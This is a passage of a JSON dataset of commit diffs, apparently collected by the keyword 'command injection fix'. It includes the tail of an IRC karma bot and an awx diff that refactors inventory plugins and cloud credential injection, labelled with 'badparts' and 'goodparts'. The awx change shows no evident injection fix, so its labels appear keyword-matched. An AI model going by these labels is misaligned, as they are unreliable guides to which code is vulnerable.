buffer\n\n\tif buffer.find('PING') != -1: \n\t\tsock.send('PONG ' + buffer.split() [1] + '\\r\\n')\n\n\tif re.search(':[!@]help', buffer, re.UNICODE) is not None or re.search(':'+nick+'[ ,:]+help', buffer, re.UNICODE) is not None:\n\t\tsendmsg('@karmas, @urls, @slackers\\r\\n')\n\n\tregexp = re.compile('PRIVMSG.*[: ]([a-z][0-9a-z_\\-\\.]+)\\+\\+', re.UNICODE)\n\tregexm = re.compile('PRIVMSG.*[: ]([a-z][0-9a-z_\\-\\.]+)\\-\\-', re.UNICODE)\n\tregexk = re.compile('PRIVMSG.*:karma ([a-z_\\-\\.]+)', re.UNICODE)\n\tregexu = re.compile('PRIVMSG.*[: ]\\@urls', re.UNICODE)\n\tregexs = re.compile('PRIVMSG.*[: ]\\@slackers', re.UNICODE)\n\tregexks = re.compile('PRIVMSG.*[: ]\\@karmas', re.UNICODE)\n\tregexslack = re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG.* :(.*)$', re.UNICODE)\n\tpattern_url = re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG .*(http://[\u00e1\u00e9\u00ed\u00f3\u00fa\u00c1\u00c9\u00cd\u00d3\u00da\u00c0\u00e0a-zA-Z0-9_?=./,\\-\\+\\'~]+)', re.UNICODE)\n\t\n\tresultp = regexp.search(buffer)\n\tresultm = regexm.search(buffer)\n\tresultk = regexk.search(buffer)\n\tresultu = regexu.search(buffer)\n\tresults = regexs.search(buffer)\n\tresultks = regexks.search(buffer)\n\tresultslack = regexslack.search(buffer)\n\turl_search = pattern_url.search(buffer)\n\n\tif resultslack is not None:\n\t\tvar = len(resultslack.group(2)) - 1\n\t\tnick = resultslack.group(1)\n\t\tbanco.increment_slack(nick,var)\n\n\tif resultp is not None:\n\t\tvar = resultp.group(1)\n\t\tbanco.increment_karma(var)\n\t\tsendmsg(var + ' now has ' + str(banco.get_karma(var)) + ' points of karma')\n\t\tcontinue\n\n\tif resultm is not None:\n\t\tvar = resultm.group(1)\n\t\tbanco.decrement_karma(var)\n\t\tsendmsg(var + ' now has ' + str(banco.get_karma(var)) + ' points of karma')\n\t\tcontinue\n\n\tif resultk is not None:\n\t\tvar = resultk.group(1)\n\t\tpoints = banco.get_karma(var)\n\t\tif points is not None:\n\t\t\tsendmsg(var + ' have ' + str(points) + ' points of karma')\n\t\telse:\n\t\t\tsendmsg(var + ' doesn\\'t have any point of karma')\n\t\tcontinue\n\n\tif resultks is not None:\n\t\tsendmsg('karmas : ' + banco.get_karmas_count())\n\t\tcontinue\n\t\n\tif results is not None:\n\t\tsendmsg('slackers in chars : ' + banco.get_slacker_count())\n\t\tcontinue\n\n\tif resultu is not None:\n\t\tsendmsg('users : ' + banco.get_urls_count())\n\t\tcontinue\n\t\n\tif url_search is not None:\n\t\ttry:\n\t\t\turl = url_search.group(2)\n\t\t\tnick = url_search.group(1)\n\t\t\tparser = html(url)\n\t\t\tsendmsg( parser.title() )\n\t\t\tbanco.increment_url( nick )\n\t\texcept:\n\t\t\tsendmsg('[ Failed ]')\n\t\t\tprint url\n\t\t\tprint \"Unexpected error:\", sys.exc_info()[0]\n\nsock.close()\nbanco.close()\n"}}, "msg": "Emergency fix to IRC command injection vulnerability\n\nSigned-off-by: Eduardo Habkost "}}, "https://github.com/twteamware/awx": {"6c130fa6c3a097209c667f8731d3cbe24d7dc747": {"url": "https://api.github.com/repos/twteamware/awx/commits/6c130fa6c3a097209c667f8731d3cbe24d7dc747", "html_url": "https://github.com/twteamware/awx/commit/6c130fa6c3a097209c667f8731d3cbe24d7dc747", "sha": "6c130fa6c3a097209c667f8731d3cbe24d7dc747", "keyword": "command injection fix", "diff": "diff --git a/awx/main/management/commands/inventory_import.py b/awx/main/management/commands/inventory_import.py\nindex af4c2d88d..83f37949d 100644\n--- a/awx/main/management/commands/inventory_import.py\n+++ b/awx/main/management/commands/inventory_import.py\n@@ -124,7 +124,13 @@ def get_path_to_ansible_inventory(self):\n \n def get_base_args(self):\n # get ansible-inventory absolute path for running in bubblewrap/proot, in Popen\n- bargs= [self.get_path_to_ansible_inventory(), '-i', self.source]\n+\n+ # NOTE: why do we add \"python\" to the start of these args?\n+ # the script that runs ansible-inventory specifies a python interpreter\n+ # that makes no sense in light of the fact that we put all the dependencies\n+ # inside of /venv/ansible, so we override the specified interpreter\n+ # https://github.com/ansible/ansible/issues/50714\n+ bargs= ['python', self.get_path_to_ansible_inventory(), '-i', self.source]\n logger.debug('Using base command: {}'.format(' '.join(bargs)))\n return bargs\n \ndiff --git a/awx/main/models/credential/injectors.py b/awx/main/models/credential/injectors.py\nindex 44c0839d2..4fb642da0 100644\n--- a/awx/main/models/credential/injectors.py\n+++ b/awx/main/models/credential/injectors.py\n@@ -24,12 +24,15 @@ def gce(cred, env, private_data_dir):\n 'type': 'service_account',\n 'private_key': cred.get_input('ssh_key_data', default=''),\n 'client_email': username,\n- 'project_id': project\n+ 'project_id': project,\n+ # need token uri for inventory plugins\n+ # should this really be hard coded? Good question.\n+ 'token_uri': 'https://accounts.google.com/o/oauth2/token',\n }\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- f = os.fdopen(handle, 'w')\n- json.dump(json_cred, f)\n- f.close()\n+\n+ path = os.path.join(private_data_dir, 'creds.json')\n+ with open(path, 'w') as f:\n+ json.dump(json_cred, f, indent=2)\n os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n env['GCE_CREDENTIALS_FILE_PATH'] = path\n \n@@ -38,13 +41,13 @@ def azure_rm(cred, env, private_data_dir):\n client = cred.get_input('client', default='')\n tenant = cred.get_input('tenant', default='')\n \n+ env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n+\n if len(client) and len(tenant):\n env['AZURE_CLIENT_ID'] = client\n env['AZURE_TENANT'] = tenant\n env['AZURE_SECRET'] = cred.get_input('secret', default='')\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n else:\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n env['AZURE_AD_USER'] = cred.get_input('username', default='')\n env['AZURE_PASSWORD'] = cred.get_input('password', default='')\n \ndiff --git a/awx/main/models/inventory.py b/awx/main/models/inventory.py\nindex df04d5b1a..32b6ca9cf 100644\n--- a/awx/main/models/inventory.py\n+++ b/awx/main/models/inventory.py\n@@ -10,6 +10,11 @@\n import copy\n import os.path\n from urllib.parse import urljoin\n+import yaml\n+import configparser\n+import stat\n+import tempfile\n+from distutils.version import LooseVersion as Version\n \n # Django\n from django.conf import settings\n@@ -1015,6 +1020,8 @@ class InventorySourceOptions(BaseModel):\n Common fields for InventorySource and InventoryUpdate.\n '''\n \n+ injectors = dict()\n+\n SOURCE_CHOICES = [\n ('', _('Manual')),\n ('file', _('File, Directory or Script')),\n@@ -1308,6 +1315,8 @@ def cloud_credential_validation(source, cred):\n return None\n \n def get_inventory_plugin_name(self):\n+ if self.source in InventorySourceOptions.injectors:\n+ return InventorySourceOptions.injectors[self.source].plugin_name\n if self.source in CLOUD_PROVIDERS or self.source == 'custom':\n # TODO: today, all vendored sources are scripts\n # in future release inventory plugins will replace these\n@@ -1532,8 +1541,15 @@ def _can_update(self):\n return bool(self.source_script)\n elif self.source == 'scm':\n return bool(self.source_project)\n- else:\n- return bool(self.source in CLOUD_INVENTORY_SOURCES)\n+ elif self.source == 'file':\n+ return False\n+ elif self.source == 'ec2':\n+ # Permit credential-less ec2 updates to allow IAM roles\n+ return True\n+ elif self.source == 'gce':\n+ # These updates will hang if correct credential is not supplied\n+ return bool(self.get_cloud_credential().kind == 'gce')\n+ return True\n \n def create_inventory_update(self, **kwargs):\n return self.create_unified_job(**kwargs)\n@@ -1695,6 +1711,14 @@ def get_absolute_url(self, request=None):\n def get_ui_url(self):\n return urljoin(settings.TOWER_URL_BASE, \"/#/jobs/inventory/{}\".format(self.pk))\n \n+ @property\n+ def ansible_virtualenv_path(self):\n+ if self.inventory and self.inventory.organization:\n+ virtualenv = self.inventory.organization.custom_virtualenv\n+ if virtualenv:\n+ return virtualenv\n+ return settings.ANSIBLE_VENV_PATH\n+\n def get_actual_source_path(self):\n '''Alias to source_path that combines with project path for for SCM file based sources'''\n if self.inventory_source_id is None or self.inventory_source.source_project_id is None:\n@@ -1717,13 +1741,7 @@ def task_impact(self):\n def can_start(self):\n if not super(InventoryUpdate, self).can_start:\n return False\n-\n- if (self.source not in ('custom', 'ec2', 'scm') and\n- not (self.get_cloud_credential())):\n- return False\n- elif self.source == 'scm' and not self.inventory_source.source_project:\n- return False\n- elif self.source == 'file':\n+ elif not self.inventory_source or not self.inventory_source._can_update():\n return False\n return True\n \n@@ -1801,3 +1819,88 @@ class Meta:\n \n def get_absolute_url(self, request=None):\n return reverse('api:inventory_script_detail', kwargs={'pk': self.pk}, request=request)\n+\n+\n+# TODO: move these to their own file somewhere?\n+class PluginFileInjector(object):\n+ plugin_name = None\n+ initial_version = None\n+\n+ def __init__(self, ansible_version):\n+ # This is InventoryOptions instance, could be source or inventory update\n+ self.ansible_version = ansible_version\n+\n+ @property\n+ def filename(self):\n+ return '{0}.yml'.format(self.plugin_name)\n+\n+ def inventory_contents(self, inventory_source):\n+ return yaml.safe_dump(self.inventory_as_dict(inventory_source), default_flow_style=False)\n+\n+ def should_use_plugin(self):\n+ return bool(\n+ self.initial_version and\n+ Version(self.ansible_version) >= Version(self.initial_version)\n+ )\n+\n+ def build_env(self, *args, **kwargs):\n+ if self.should_use_plugin():\n+ return self.build_plugin_env(*args, **kwargs)\n+ else:\n+ return self.build_script_env(*args, **kwargs)\n+\n+ def build_plugin_env(self, inventory_update, env, private_data_dir):\n+ return env\n+\n+ def build_script_env(self, inventory_update, env, private_data_dir):\n+ return env\n+\n+ def build_private_data(self, *args, **kwargs):\n+ if self.should_use_plugin():\n+ return self.build_private_data(*args, **kwargs)\n+ else:\n+ return self.build_private_data(*args, **kwargs)\n+\n+ def build_script_private_data(self, *args, **kwargs):\n+ pass\n+\n+ def build_plugin_private_data(self, *args, **kwargs):\n+ pass\n+\n+\n+class gce(PluginFileInjector):\n+ plugin_name = 'gcp_compute'\n+ initial_version = '2.6'\n+\n+ def build_script_env(self, inventory_update, env, private_data_dir):\n+ env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa\n+\n+ # by default, the GCE inventory source caches results on disk for\n+ # 5 minutes; disable this behavior\n+ cp = configparser.ConfigParser()\n+ cp.add_section('cache')\n+ cp.set('cache', 'cache_max_age', '0')\n+ handle, path = tempfile.mkstemp(dir=private_data_dir)\n+ cp.write(os.fdopen(handle, 'w'))\n+ os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n+ env['GCE_INI_PATH'] = path\n+ return env\n+\n+ def inventory_as_dict(self, inventory_source):\n+ # NOTE: generalizing this to be use templating like credential types would be nice\n+ # but with YAML content that need to inject list parameters into the YAML,\n+ # it is hard to see any clean way we can possibly do this\n+ ret = dict(\n+ plugin='gcp_compute',\n+ projects=[inventory_source.get_cloud_credential().project],\n+ filters=None, # necessary cruft, see: https://github.com/ansible/ansible/pull/50025\n+ service_account_file=\"creds.json\",\n+ auth_kind=\"serviceaccount\"\n+ )\n+ if inventory_source.source_regions:\n+ ret['zones'] = inventory_source.source_regions.split(',')\n+ return ret\n+\n+\n+for cls in PluginFileInjector.__subclasses__():\n+ InventorySourceOptions.injectors[cls.__name__] = cls\ndiff --git a/awx/main/tasks.py b/awx/main/tasks.py\nindex b7f405bb4..c459a30fe 100644\n--- a/awx/main/tasks.py\n+++ b/awx/main/tasks.py\n@@ -52,7 +52,7 @@\n from awx.main.models import (\n Schedule, TowerScheduleState, Instance, InstanceGroup,\n UnifiedJob, Notification,\n- Inventory, SmartInventoryMembership,\n+ Inventory, InventorySource, SmartInventoryMembership,\n Job, AdHocCommand, ProjectUpdate, InventoryUpdate, SystemJob,\n JobEvent, ProjectUpdateEvent, InventoryUpdateEvent, AdHocCommandEvent, SystemJobEvent,\n build_safe_env\n@@ -67,6 +67,7 @@\n get_licenser,\n ignore_inventory_computed_fields,\n ignore_inventory_group_removal, extract_ansible_vars, schedule_task_manager)\n+from awx.main.utils.common import _get_ansible_version\n from awx.main.utils.safe_yaml import safe_dump, sanitize_jinja\n from awx.main.utils.reload import stop_local_services\n from awx.main.utils.pglock import advisory_lock\n@@ -713,12 +714,25 @@ def update_model(self, pk, _attempt=0, **updates):\n logger.error('Failed to update %s after %d retries.',\n self.model._meta.object_name, _attempt)\n \n+ def get_ansible_version(self, instance):\n+ if not hasattr(self, '_ansible_version'):\n+ self._ansible_version = _get_ansible_version(\n+ ansible_path=self.get_path_to_ansible(instance, executable='ansible'))\n+ return self._ansible_version\n+\n def get_path_to(self, *args):\n '''\n Return absolute path relative to this file.\n '''\n return os.path.abspath(os.path.join(os.path.dirname(__file__), *args))\n \n+ def get_path_to_ansible(self, instance, executable='ansible-playbook', **kwargs):\n+ venv_path = getattr(instance, 'ansible_virtualenv_path', settings.ANSIBLE_VENV_PATH)\n+ venv_exe = os.path.join(venv_path, 'bin', executable)\n+ if os.path.exists(venv_exe):\n+ return venv_exe\n+ return shutil.which(executable)\n+\n def build_private_data(self, instance, private_data_dir):\n '''\n Return SSH private key data (only if stored in DB as ssh_key_data).\n@@ -2134,9 +2148,13 @@ def build_passwords(self, inventory_update, runtime_passwords):\n def build_env(self, inventory_update, private_data_dir, isolated, private_data_files=None):\n \"\"\"Build environment dictionary for inventory import.\n \n- This is the mechanism by which any data that needs to be passed\n+ This used to be the mechanism by which any data that needs to be passed\n to the inventory update script is set up. In particular, this is how\n inventory update is aware of its proper credentials.\n+\n+ Most environment injection is now accomplished by the credential\n+ injectors. The primary purpose this still serves is to\n+ still point to the inventory update INI or config file.\n \"\"\"\n env = super(RunInventoryUpdate, self).build_env(inventory_update,\n private_data_dir,\n@@ -2145,6 +2163,7 @@ def build_env(self, inventory_update, private_data_dir, isolated, private_data_f\n if private_data_files is None:\n private_data_files = {}\n self.add_awx_venv(env)\n+ self.add_ansible_venv(inventory_update.ansible_virtualenv_path, env)\n # Pass inventory source ID to inventory script.\n env['INVENTORY_SOURCE_ID'] = str(inventory_update.inventory_source_id)\n env['INVENTORY_UPDATE_ID'] = str(inventory_update.pk)\n@@ -2176,25 +2195,19 @@ def build_env(self, inventory_update, private_data_dir, isolated, private_data_f\n inventory_update.get_cloud_credential(), ''\n )\n \n- if inventory_update.source == 'gce':\n- env['GCE_ZONE'] = inventory_update.source_regions if inventory_update.source_regions != 'all' else '' # noqa\n-\n- # by default, the GCE inventory source caches results on disk for\n- # 5 minutes; disable this behavior\n- cp = configparser.ConfigParser()\n- cp.add_section('cache')\n- cp.set('cache', 'cache_max_age', '0')\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- cp.write(os.fdopen(handle, 'w'))\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n- env['GCE_INI_PATH'] = path\n- elif inventory_update.source in ['scm', 'custom']:\n+ if inventory_update.source in InventorySource.injectors:\n+ # TODO: mapping from credential.kind to inventory_source.source\n+ injector = InventorySource.injectors[inventory_update.source](self.get_ansible_version(inventory_update))\n+ env = injector.build_env(inventory_update, env, private_data_dir)\n+\n+ if inventory_update.source == 'tower':\n+ env['TOWER_INVENTORY'] = inventory_update.instance_filters\n+ env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n+\n+ if inventory_update.source in ['scm', 'custom']:\n for env_k in inventory_update.source_vars_dict:\n if str(env_k) not in env and str(env_k) not in settings.INV_ENV_VARIABLE_BLACKLIST:\n env[str(env_k)] = str(inventory_update.source_vars_dict[env_k])\n- elif inventory_update.source == 'tower':\n- env['TOWER_INVENTORY'] = inventory_update.instance_filters\n- env['TOWER_LICENSE_TYPE'] = get_licenser().validate()['license_type']\n elif inventory_update.source == 'file':\n raise NotImplementedError('Cannot update file sources through the task system.')\n return env\n@@ -2259,33 +2272,61 @@ def build_args(self, inventory_update, private_data_dir, passwords):\n getattr(settings, '%s_INSTANCE_ID_VAR' % src.upper()),])\n # Add arguments for the source inventory script\n args.append('--source')\n+ args.append(self.build_inventory(inventory_update, private_data_dir))\n+ if src == 'custom':\n+ args.append(\"--custom\")\n+ args.append('-v%d' % inventory_update.verbosity)\n+ if settings.DEBUG:\n+ args.append('--traceback')\n+ return args\n+\n+ def build_inventory(self, inventory_update, private_data_dir):\n+ src = inventory_update.source\n if src in CLOUD_PROVIDERS:\n- # Get the path to the inventory plugin, and append it to our\n- # arguments.\n- plugin_path = self.get_path_to('..', 'plugins', 'inventory',\n- '%s.py' % src)\n- args.append(plugin_path)\n+ if src in InventorySource.injectors:\n+ cloud_cred = inventory_update.get_cloud_credential()\n+ injector = InventorySource.injectors[cloud_cred.kind](self.get_ansible_version(inventory_update))\n+ content = injector.inventory_contents(inventory_update)\n+ content = content.encode('utf-8')\n+ # must be a statically named file\n+ inventory_path = os.path.join(private_data_dir, injector.filename)\n+ with open(inventory_path, 'w') as f:\n+ f.write(content)\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ else:\n+ # Get the path to the inventory plugin, and append it to our\n+ # arguments.\n+ inventory_path = self.get_path_to('..', 'plugins', 'inventory', '%s.py' % src)\n elif src == 'scm':\n- args.append(inventory_update.get_actual_source_path())\n+ inventory_path = inventory_update.get_actual_source_path()\n elif src == 'custom':\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n+ handle, inventory_path = tempfile.mkstemp(dir=private_data_dir)\n f = os.fdopen(handle, 'w')\n if inventory_update.source_script is None:\n raise RuntimeError('Inventory Script does not exist')\n f.write(inventory_update.source_script.script)\n f.close()\n- os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n- args.append(path)\n- args.append(\"--custom\")\n- args.append('-v%d' % inventory_update.verbosity)\n- if settings.DEBUG:\n- args.append('--traceback')\n- return args\n+ os.chmod(inventory_path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n+ return inventory_path\n \n def build_cwd(self, inventory_update, private_data_dir):\n- if inventory_update.source == 'scm' and inventory_update.source_project_update:\n+ '''\n+ There are two cases where the inventory \"source\" is in a different\n+ location from the private data:\n+ - deprecated vendored inventory scripts in awx/plugins/inventory\n+ - SCM, where source needs to live in the project folder\n+ in these cases, the inventory does not exist in the standard tempdir\n+ '''\n+ src = inventory_update.source\n+ if src == 'scm' and inventory_update.source_project_update:\n return inventory_update.source_project_update.get_project_path(check_if_exists=False)\n- return self.get_path_to('..', 'plugins', 'inventory')\n+ if src in CLOUD_PROVIDERS:\n+ injector = None\n+ if src in InventorySource.injectors:\n+ injector = InventorySource.injectors[src](self.get_ansible_version(inventory_update))\n+ if (not injector) or (not injector.should_use_plugin()):\n+ return self.get_path_to('..', 'plugins', 'inventory')\n+ return private_data_dir\n \n def build_playbook_path_relative_to_cwd(self, inventory_update, private_data_dir):\n return None\ndiff --git a/requirements/requirements_ansible.in b/requirements/requirements_ansible.in\nindex 2d07079fd..c28d53280 100644\n--- a/requirements/requirements_ansible.in\n+++ b/requirements/requirements_ansible.in\n@@ -30,6 +30,7 @@ azure-graphrbac==0.40.0\n # AWS\n boto==2.47.0 # last which does not break ec2 scripts\n boto3==1.6.2\n+google-auth==1.6.2 # needed for gce inventory imports\n # netconf for network modules\n ncclient==0.6.3\n # netaddr filter\ndiff --git a/requirements/requirements_ansible.txt b/requirements/requirements_ansible.txt\nindex dab6a18f1..e935783eb 100644\n--- a/requirements/requirements_ansible.txt\n+++ b/requirements/requirements_ansible.txt\n@@ -38,6 +38,7 @@ bcrypt==3.1.4 # via paramiko\n boto3==1.6.2\n boto==2.47.0\n botocore==1.9.3 # via boto3, s3transfer\n+cachetools==3.0.0 # via google-auth\n certifi==2018.1.18 # via msrest, requests\n cffi==1.11.5 # via bcrypt, cryptography, pynacl\n chardet==3.0.4 # via requests\n@@ -50,6 +51,8 @@ docutils==0.14 # via botocore\n dogpile.cache==0.6.5 # via openstacksdk\n entrypoints==0.2.3 # via keyring\n enum34==1.1.6; python_version < '3' # via cryptography, knack, msrest, ovirt-engine-sdk-python\n+futures==3.2.0 # via openstacksdk, s3transfer\n+google-auth==1.6.2\n humanfriendly==4.8 # via azure-cli-core\n idna==2.6 # via cryptography, requests\n ipaddress==1.0.19 # via cryptography, openstacksdk\n@@ -81,6 +84,7 @@ pbr==3.1.1 # via keystoneauth1, openstacksdk, os-service-types, s\n pexpect==4.6.0\n psutil==5.4.3\n ptyprocess==0.5.2 # via pexpect\n+pyasn1-modules==0.2.3 # via google-auth\n pyasn1==0.4.2 # via paramiko\n pycparser==2.18 # via cffi\n pycurl==7.43.0.1 # via ovirt-engine-sdk-python\n@@ -100,11 +104,12 @@ requests-ntlm==1.1.0 # via pywinrm\n requests-oauthlib==0.8.0 # via msrest\n requests==2.20.0\n requestsexceptions==1.4.0 # via openstacksdk, os-client-config\n+rsa==4.0 # via google-auth\n s3transfer==0.1.13 # via boto3\n secretstorage==2.3.1 # via keyring\n selectors2==2.0.1 # via ncclient\n shade==1.27.0\n-six==1.11.0 # via azure-cli-core, bcrypt, cryptography, isodate, keystoneauth1, knack, munch, ncclient, ntlm-auth, openstacksdk, ovirt-engine-sdk-python, packaging, pynacl, pyopenssl, python-dateutil, pyvmomi, pywinrm, stevedore\n+six==1.11.0 # via azure-cli-core, bcrypt, cryptography, google-auth, isodate, keystoneauth1, knack, munch, ncclient, ntlm-auth, openstacksdk, ovirt-engine-sdk-python, packaging, pynacl, pyopenssl, python-dateutil, pyvmomi, pywinrm, stevedore\n stevedore==1.28.0 # via keystoneauth1\n tabulate==0.7.7 # via azure-cli-core, knack\n urllib3==1.24 # via requests\n", "message": "", "files": {"/awx/main/management/commands/inventory_import.py": {"changes": [{"diff": "\n \n def get_base_args(self):\n # get ansible-inventory absolute path for running in bubblewrap/proot, in Popen\n- bargs= [self.get_path_to_ansible_inventory(), '-i', self.source]\n+\n+ # NOTE: why do we add \"python\" to the start of these args?\n+ # the script that runs ansible-inventory specifies a python interpreter\n+ # that makes no sense in light of the fact that we put all the dependencies\n+ # inside of /venv/ansible, so we override the specified interpreter\n+ # https://github.com/ansible/ansible/issues/50714\n+ bargs= ['python', self.get_path_to_ansible_inventory(), '-i', self.source]\n logger.debug('Using base command: {}'.format(' '.join(bargs)))\n return bargs\n ", "add": 7, "remove": 1, "filename": "/awx/main/management/commands/inventory_import.py", "badparts": [" bargs= [self.get_path_to_ansible_inventory(), '-i', self.source]"], "goodparts": [" bargs= ['python', self.get_path_to_ansible_inventory(), '-i', self.source]"]}]}, "/awx/main/models/credential/injectors.py": {"changes": [{"diff": "\n 'type': 'service_account',\n 'private_key': cred.get_input('ssh_key_data', default=''),\n 'client_email': username,\n- 'project_id': project\n+ 'project_id': project,\n+ # need token uri for inventory plugins\n+ # should this really be hard coded? Good question.\n+ 'token_uri': 'https://accounts.google.com/o/oauth2/token',\n }\n- handle, path = tempfile.mkstemp(dir=private_data_dir)\n- f = os.fdopen(handle, 'w')\n- json.dump(json_cred, f)\n- f.close()\n+\n+ path = os.path.join(private_data_dir, 'creds.json')\n+ with open(path, 'w') as f:\n+ json.dump(json_cred, f, indent=2)\n os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n env['GCE_CREDENTIALS_FILE_PATH'] = path\n \n", "add": 8, "remove": 5, "filename": "/awx/main/models/credential/injectors.py", "badparts": [" 'project_id': project", " handle, path = tempfile.mkstemp(dir=private_data_dir)", " f = os.fdopen(handle, 'w')", " json.dump(json_cred, f)", " f.close()"], "goodparts": [" 'project_id': project,", " 'token_uri': 'https://accounts.google.com/o/oauth2/token',", " path = os.path.join(private_data_dir, 'creds.json')", " with open(path, 'w') as f:", " json.dump(json_cred, f, indent=2)"]}, {"diff": "\n client = cred.get_input('client', default='')\n tenant = cred.get_input('tenant', default='')\n \n+ env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n+\n if len(client) and len(tenant):\n env['AZURE_CLIENT_ID'] = client\n env['AZURE_TENANT'] = tenant\n env['AZURE_SECRET'] = cred.get_input('secret', default='')\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n else:\n- env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n env['AZURE_AD_USER'] = cred.get_input('username', default='')\n env['AZURE_PASSWORD'] = cred.get_input('password', default='')\n", "add": 2, "remove": 2, "filename": "/awx/main/models/credential/injectors.py", "badparts": [" env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')", " env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')"], "goodparts": [" env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')"]}], "source": "\nimport json import os import stat import tempfile from django.conf import settings def aws(cred, env, private_data_dir): env['AWS_ACCESS_KEY_ID']=cred.get_input('username', default='') env['AWS_SECRET_ACCESS_KEY']=cred.get_input('password', default='') if cred.has_input('security_token'): env['AWS_SECURITY_TOKEN']=cred.get_input('security_token', default='') def gce(cred, env, private_data_dir): project=cred.get_input('project', default='') username=cred.get_input('username', default='') env['GCE_EMAIL']=username env['GCE_PROJECT']=project json_cred={ 'type': 'service_account', 'private_key': cred.get_input('ssh_key_data', default=''), 'client_email': username, 'project_id': project } handle, path=tempfile.mkstemp(dir=private_data_dir) f=os.fdopen(handle, 'w') json.dump(json_cred, f) f.close() os.chmod(path, stat.S_IRUSR | stat.S_IWUSR) env['GCE_CREDENTIALS_FILE_PATH']=path def azure_rm(cred, env, private_data_dir): client=cred.get_input('client', default='') tenant=cred.get_input('tenant', default='') if len(client) and len(tenant): env['AZURE_CLIENT_ID']=client env['AZURE_TENANT']=tenant env['AZURE_SECRET']=cred.get_input('secret', default='') env['AZURE_SUBSCRIPTION_ID']=cred.get_input('subscription', default='') else: env['AZURE_SUBSCRIPTION_ID']=cred.get_input('subscription', default='') env['AZURE_AD_USER']=cred.get_input('username', default='') env['AZURE_PASSWORD']=cred.get_input('password', default='') if cred.has_input('cloud_environment'): env['AZURE_CLOUD_ENVIRONMENT']=cred.get_input('cloud_environment') def vmware(cred, env, private_data_dir): env['VMWARE_USER']=cred.get_input('username', default='') env['VMWARE_PASSWORD']=cred.get_input('password', default='') env['VMWARE_HOST']=cred.get_input('host', default='') env['VMWARE_VALIDATE_CERTS']=str(settings.VMWARE_VALIDATE_CERTS) ", "sourceWithComments": "import json\nimport os\nimport stat\nimport tempfile\n\nfrom django.conf import settings\n\n\ndef aws(cred, env, private_data_dir):\n env['AWS_ACCESS_KEY_ID'] = cred.get_input('username', default='')\n env['AWS_SECRET_ACCESS_KEY'] = cred.get_input('password', default='')\n\n if cred.has_input('security_token'):\n env['AWS_SECURITY_TOKEN'] = cred.get_input('security_token', default='')\n\n\ndef gce(cred, env, private_data_dir):\n project = cred.get_input('project', default='')\n username = cred.get_input('username', default='')\n\n env['GCE_EMAIL'] = username\n env['GCE_PROJECT'] = project\n json_cred = {\n 'type': 'service_account',\n 'private_key': cred.get_input('ssh_key_data', default=''),\n 'client_email': username,\n 'project_id': project\n }\n handle, path = tempfile.mkstemp(dir=private_data_dir)\n f = os.fdopen(handle, 'w')\n json.dump(json_cred, f)\n f.close()\n os.chmod(path, stat.S_IRUSR | stat.S_IWUSR)\n env['GCE_CREDENTIALS_FILE_PATH'] = path\n\n\ndef azure_rm(cred, env, private_data_dir):\n client = cred.get_input('client', default='')\n tenant = cred.get_input('tenant', default='')\n\n if len(client) and len(tenant):\n env['AZURE_CLIENT_ID'] = client\n env['AZURE_TENANT'] = tenant\n env['AZURE_SECRET'] = cred.get_input('secret', default='')\n env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n else:\n env['AZURE_SUBSCRIPTION_ID'] = cred.get_input('subscription', default='')\n env['AZURE_AD_USER'] = cred.get_input('username', default='')\n env['AZURE_PASSWORD'] = cred.get_input('password', default='')\n\n if cred.has_input('cloud_environment'):\n env['AZURE_CLOUD_ENVIRONMENT'] = cred.get_input('cloud_environment')\n\n\ndef vmware(cred, env, private_data_dir):\n env['VMWARE_USER'] = cred.get_input('username', default='')\n env['VMWARE_PASSWORD'] = cred.get_input('password', default='')\n env['VMWARE_HOST'] = cred.get_input('host', default='')\n env['VMWARE_VALIDATE_CERTS'] = str(settings.VMWARE_VALIDATE_CERTS)\n"}, "/awx/main/models/inventory.py": {"changes": [{"diff": "\n return bool(self.source_script)\n elif self.source == 'scm':\n return bool(self.source_project)\n- else:\n- return bool(self.source in CLOUD_INVENTORY_SOURCES)\n+ elif self.source == 'file':\n+ return False\n+ elif self.source == 'ec2':\n+ # Permit credential-less ec2 updates to allow IAM roles\n+ return True\n+ elif self.source == 'gce':\n+ # These updates will hang if correct credential is not supplied\n+ return bool(self.get_cloud_credential().kind == 'gce')\n+ return True\n \n def create_inventory_update(self, **kwargs):\n return self.create_unified_job(**kwargs)\n", "add": 9, "remove": 2, "filename": "/awx/main/models/inventory.py", "badparts": [" else:", " return bool(self.source in CLOUD_INVENTORY_SOURCES)"], "goodparts": [" elif self.source == 'file':", " return False", " elif self.source == 'ec2':", " return True", " elif self.source == 'gce':", " return bool(self.get_cloud_credential().kind == 'gce')", " return True"]}, {"diff": "\n def can_start(self):\n if not super(InventoryUpdate, self).can_start:\n return False\n-\n- if (self.source not in ('custom', 'ec2', 'scm') and\n- not (self.get_cloud_credential())):\n- return False\n- elif self.source == 'scm' and not self.inventory_source.source_project:\n- return False\n- elif self.source == 'file':\n+ elif not self.inventory_source or not self.inventory_source._can_update():\n return False\n return True\n \n", "add": 1, "remove": 7, "filename": "/awx/main/models/inventory.py", "badparts": [" if (self.source not in 